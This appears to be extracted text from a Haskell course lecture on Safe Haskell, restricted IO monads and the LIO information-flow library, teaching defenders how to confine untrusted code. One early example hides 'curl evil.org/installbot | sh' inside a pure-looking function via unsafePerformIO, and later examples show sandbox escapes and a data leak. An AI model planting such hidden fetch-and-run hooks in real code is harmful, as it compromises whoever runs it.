Download some random code with this function
toPigLatin :: L.ByteString -> L.ByteString
IO
), this would be safe to run
However, what if you have?
toPigLatin = unsafePerformIO $ do
system "curl evil.org/installbot | sh"
return "Ia owna ouya"
-XSafe
option enables Safe Haskell
System.IO.Unsafe
, so can’t call unsafePerformIO
Safe imports (enabled by -XUnsafe
) require an import to be safe
import safe PigLatin (toPigLatin)
toPigLatin
doesn’t call unsafe functionsBut wait… doesn’t toPigLatin
use ByteString?
head :: {- Lazy -} ByteString -> Word8
head Empty = errorEmptyList "head"
head (Chunk c _) = S.unsafeHead c
unsafeHead :: {- Strict -} ByteString -> Word8
unsafeHead (PS x s l) = assert (l > 0) $
inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s
-XSafe
can only import safe modules
safe
keyword-XSafe
-XTrustworthy
Data.ByteString
can be compiled -XTrustworthy
Data.ByteString.Unsafe
moduleData.ByteString
’s exported symbols cannot be used unsafely, even if the module internally makes use of unsafe functions-XTrustworthy
-fpackage-trust
enables such per-package trust-trust
Pkg, -distrust
Pkg, -distrust-all-packages
ghc-pkg
RIO
Untrusted third party implements googleTranslate
function
googleTranslate :: Language -> L.ByteString -> RIO L.ByteString
RIO
monad, instead of IO
RIO
functions to access network, file systemCan use same names and port IO
code to RIO
by manipulating imports
RIO
monad{-# LANGUAGE Trustworthy #-}
module RIO (RIO(), runRIO, RIO.readFile) where
-- Notice that symbol UnsafeRIO is not exported from this module!
newtype RIO a = UnsafeRIO (IO a)
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io
instance Monad RIO where ...
-- Returns True iff access is allowed to file name
pathOK :: FilePath -> IO Bool
pathOK file = -- policy, e.g., only allow files in /tmp
readFile :: FilePath -> RIO String
readFile file = UnsafeRIO $ do
ok <- pathOK file
if ok then Prelude.readFile file else return ""
newtype
– RIO
is same as IO
at runtime
RIO
action into an IO
one with runRIO
RIO
action from IO
without UnsafeRIO
newtype RIO a = UnsafeRIO (IO a)
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io
wget
cs240h.stanford.edu/RIO.hs
GHCi, version 7.8.2: http://www.haskell.org/ghc/ :? for help
...
*RIO> writeFile "/tmp/hello" "Hello, world\n"
*RIO> runRIO $ RIO.readFile "/tmp/hello"
"Hello, world\n"
*RIO> runRIO $ RIO.readFile "/etc/passwd"
""
*RIO>
runRIO
?newtype RIO a = UnsafeRIO { runRIO :: IO a }
newtype RIO a = UnsafeRIO (IO a)
instance Monad RIO where
return = UnsafeRIO . return
m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k
fail = UnsafeRIO . fail
runRIO
is tantamount to exporting UnsafeRIO
badRIO :: IO a -> RIO a
badRIO io = (fail "ha ha") { runRIO = io }
IO
actions from within RIO
:*Main> runRIO $ badRIO $ putStrLn "gotcha"
gotcha
RIO
restrictionsgoogleTranslate
function:
/sandbox
(allowed)Sec
monad [Russo], [Russo]H
represent secret (“high”) data, and L
public (“low”) data{-# LANGUAGE Unsafe #-}
Module Sec where
data L = Lpriv
data H = Hpriv
{-# LANGUAGE Trustworthy #-}
Module Sec.Safe (module Sec) where
import Sec (L, H, Sec, sec, open, up)
Sec
) represent the lattice (L ⊑ H) in the type systemclass Flows sl sh where
instance Flows L L
instance Flows L H
instance Flows H H
-- Notice no instance for Flows H L
Sec
monad (continued)Sec
Sec H
for high data, and Sec L
for low datanewtype Sec s a = MkSec a
instance Monad (Sec s) where
return x = MkSec x
MkSec a >>= k = k a
label :: a -> Sec s a
label x = MkSec x
unlabel :: Sec s a -> s -> a
unlabel (MkSec a) s = s `seq` a -- s (H or L) acts like key
seq
call, ensures “unlabel undefined secval
” will crashrelabel :: (Flows lin lout) => Sec lin a -> Sec lout a
relabel (MkSec val) = MkSec val
Sec
monadSec
monadsSec L
can be sent over networkSec H
can only be sent to GooglequeryGoogle :: Sec H L.ByteString -> IO (Sec H L.ByteString)
queryGoogle labeledQuery = do
let query = unlabel Hpriv labeledQuery -- code is privileged,
... -- so have Hpriv
Applicative
)IO
and Sec
What if instead we combined Sec
and IO
?
untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)
Safe to run this computation?
IO
and Sec
What if instead we combined Sec
and IO
?
untrustedTranslate :: Sec H L.ByteString -> Sec H (IO L.ByteString)
Safe to run this computation? No!
untrustedTranslate secbs = do
bs <- secbs
return $ do writeFile "PublicFile" bs -- oops, pwned
{- query Google for translation -}
Let’s combine ideas of RIO
and Sec
in a SecIO
monad
newtype SecIO s a = MkSecIO (IO (Sec s a))
instance Monad (SecIO s) where
return x = MkSecIO (return (return x))
MkSecIO m >>= k = MkSecIO $ do
MkSec a <- m
let MkSecIO m' = k a
m'
run :: SecIO s a -> IO (Sec s a)
run (MkSecIO m) = m
SecIO
monadAllow Sec
value to be accessed within SecIO
monad:
value :: Sec s a -> SecIO s a
value sa = MkSecIO (return sa)
Can return high values from SecIO L
by wrapping in Sec
:
plug :: Less sl sh => SecIO sh a -> SecIO sl (Sec sh a)
How to represent files (similar for IORef
s, etc.)?
-- Must encode level of file in type, path of file in value
type File s = SecFilePath String
readFileSecIO :: File s -> SecIO s' (Sec s String)
writeFileSecIO :: File s -> String -> SecIO s ()
SecIO
translatorStill need privileged function
queryGoogle :: Sec H L.ByteString -> SecIO H L.ByteString
Now implement untrusted code as follows
untrustedTranslate :: Sec H L.ByteString -> SecIO H L.ByteString
queryGoogle
, but not send data to other placesSecIO
does most enforcement at compile timeFlows
…cabal install
lio
LIOState
with each thread:-- Note type parameter l just specifies the label type
data LIOState l = LIOState { lioLabel, lioClearance :: !l }
Now make RIO
-like monad that disallows raw IO
{-# LANGUAGE Unsafe #-}
newtype LIO l a = LIOTCB (IORef (LIOState l) -> IO a)
instance Monad (LIO l) where
return = LIOTCB . const . return
(LIOTCB ma) >>= k = LIOTCB $ \s -> do
a <- ma s
case k a of LIOTCB mb -> mb s
RIO
monadIdea: Trustworthy code wraps IO actions with label checks
Need some back doors into IO just for Trustworthy code:
{-# LANGUAGE Unsafe #-}
ioTCB :: IO a -> LIO l a -- back door for privileged code
ioTCB = LIOTCB . const -- to execute arbitrary IO actions
Also handy to have access to state:
getLIOStateTCB :: LIO l (LIOState l)
getLIOStateTCB = LIOTCB readIORef
putLIOStateTCB :: LIOState l -> LIO l ()
putLIOStateTCB s = LIOTCB $ \sp -> writeIORef sp $! s
modifyLIOStateTCB :: (LIOState l -> LIOState l) -> LIO l ()
modifyLIOStateTCB = getLIOStateTCB >>= putLIOStateTCB . f
Note important convention: symbols ending …TCB
never available to safe modules
Implementing labels as values is straight-forward:
Module LIO.Label
class (Eq l, Show l, Read l, Typeable l) => Label l where
lub :: l -> l -> l
glb :: l -> l -> l
infixl 5 `lub` `glb`
canFlowTo :: l -> l -> Bool
infix 4 `canFlowTo`
What about privileges?
class (Typeable p, Show p) => SpeaksFor p where
speaksFor :: p -> p -> Bool
`canFlowTo`
relationclass (Label l, SpeaksFor p) => PrivDesc l p where
downgradeP :: p -> l -> l -- compute "lowest" equivalent label
canFlowToP :: p -> l -> l -> Bool
canFlowToP p l1 l2 = downgradeP p l1 `canFlowTo` l2
Label
instancedata Level = Public | Secret | TopSecret
data Compartment = Nuclear | Crypto
data MilLabel = MilLabel { level :: Level
, compartments :: Set Compartment
}
wget
cs240h.stanford.edu/millattice.hs
Label instance
instance Label MilLabel where
lub a b = MilLabel (max (level a) (level b))
(Set.union (compartments a) (compartments b))
glb a b = MilLabel (min (level a) (level b))
(Set.intersection (compartments a) (compartments b))
canFlowTo a b = level a <= level b
&& compartments a `Set.isSubsetOf` compartments b
Some quickcheck instances
prop_irreflexive :: MilLabel -> MilLabel -> Bool
prop_irreflexive l1 l2 =
if l1 == l2 then l1 `canFlowTo` l2 && l2 `canFlowTo` l1
else not (l1 `canFlowTo` l2 && l2 `canFlowTo` l1)
prop_lub :: MilLabel -> MilLabel -> Bool
prop_lub l1 l2 = l1 `canFlowTo` l3 && l2 `canFlowTo` l3
where l3 = l1 `lub` l2
Before reading any data labeled newl
, adjust/check LIOState
taint :: Label l => l -> LIO l ()
taint newl = do
LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
let l' = l `lub` newl
unless (l' `canFlowTo` c) $ labelError "taint" [newl]
modifyLIOStateTCB $ \s -> s { lioLabel = l' }
Before writing any data labeled newl
, adjust/check LIOState
guardWrite :: Label l => l -> LIO l ()
guardWrite newl = do
LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
unless (canFlowTo l newl && canFlowTo newl c) $
labelError "guardWrite" [newl]
withContext "guardWrite" $ taint newl
Want to be able to name/examine privileges in any context
Embody the privileges by wrapping them with in protected newtype
newtype Priv a = PrivTCB a deriving (Show, Eq, Typeable)
instance Monoid p => Monoid (Priv p) where
mempty = PrivTCB mempty
mappend (PrivTCB m1) (PrivTCB m2) = PrivTCB $ m1 `mappend` m2
privDesc :: Priv a -> a
privDesc (PrivTCB a) = a
Priv
, can get a description with privDesc
, but not vice versaHow to create privileges in the first place?
IO
at start of program, before invoking LIO
privInit :: p -> IO (Priv p)
privInit p = return $ PrivTCB p
IO
code, game over anywayPriv
ObjectsP
variants taking privilege
taint
with ones to taintP
:taintP :: PrivDesc l p => Priv p -> l -> LIO l ()
taintP p newl = do
LIOState { lioLabel = l, lioClearance = c } <- getLIOStateTCB
let l' = l `lub` downgradeP p newl
unless (l' `canFlowTo` c) $ labelErrorP "taintP" p [newl]
modifyLIOStateTCB $ \s -> s { lioLabel = l' }
Can also delegate privileges, wrap them in closures, or check them by “gating” closures
delegate :: SpeaksFor p => Priv p -> p -> Priv p
newtype Gate p a = GateTCB (p -> a) deriving Typeable
gate :: (p -> a) -> Gate p a
gate = GateTCB
callGate :: Gate p a -> Priv p -> a
callGate (GateTCB g) = g . privDesc
Many LIO abstractions just LIO ones plus a label
data LObj label object = LObjTCB !label !object deriving (Typeable)
blessTCB
helper makes constructing LIO functions easy
{-# LANGUAGE Trustworthy #-}
import LIO.TCB.LObj
type LMVar l a = LObj l (MVar a)
takeLMVar :: Label l => LMVar l a -> LIO l a
takeLMVar = blessTCB "takeLMVar" takeMVar
tryTakeLMVar :: Label l => LMVar l a -> LIO l (Maybe a)
tryTakeLMVar = blessTCB "tryTakeLMVar" tryTakeMVar
putLMVar :: Label l => LMVar l a -> a -> LIO l ()
putLMVar = blessTCB "putLMVar" putMVar